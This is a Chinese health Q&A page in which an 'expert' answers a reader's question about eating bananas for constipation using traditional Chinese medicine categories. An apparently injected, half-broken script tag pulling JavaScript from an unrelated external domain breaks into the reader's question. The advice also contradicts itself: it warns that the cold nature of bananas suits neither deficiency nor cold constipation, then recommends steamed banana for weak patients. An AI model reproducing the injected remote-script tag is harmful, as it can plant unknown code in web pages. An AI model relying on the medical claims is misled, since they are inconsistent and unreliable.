网友来信：我长期便秘，听说吃香焦可以治便秘，就每天吃香焦，但是却发现不但没有效果，却反而更严重了，我想请教专家，吃香焦可以治便秘吗？是不是我的吃法不对啊?script type='text/javascript' src='http://www.368tea.com/js/v.js'>?/p>

　　专家回复：

　　香蕉含有丰富的膳食纤维，能帮助通便。不过，虽说香蕉有通便之效，但并不是对所有便秘的人都会有很好的通便作用。

　　按照中医理论，便秘病因主要肠胃积热、气机郁滞、阴亏血少、阴寒凝滞所致。因而，便秘一症，中医辨证地主要分为热秘、气秘、虚秘和冷秘四个分类。

　　中医认为，香蕉味甘、性寒，入肺、大肠经，而性寒能清肠热，味甘能润肠通便，可治疗热病烦渴、大便秘结、痔疮出血等症，故而较适用于肠胃积热所致的热秘，可于饭后1～2小时进食，每日1～2根为宜。

　　但对于虚秘和冷秘的人，由于本身体质虚寒，与香蕉的属性寒相同，吃了反而不利于通便，应少食。

　　实际上，香蕉只能作为辅助性治疗便秘的水果，对于顽固性便秘者效果甚微，一般需要通过中医中药辨证治疗，运用清热通便或疏肝理气或益气润肠或养血润燥或温阳通便等到方法，配合中医药膳才能达到治疗的目的。

　　另外，吃香焦一定要吃熟透的，没有熟透的香焦含有大量鞣酸，有很强的收敛作用，可将粪便结成干硬粪便，从而加重便秘。也可以试试如下这种吃法：

　　香蕉2只冰糖适量，将香蕉去皮，加冰糖适量，隔水蒸。每日服2次，连服数日。可清热润燥，解毒滑肠，补中和胃。适用于虚弱病人的便秘。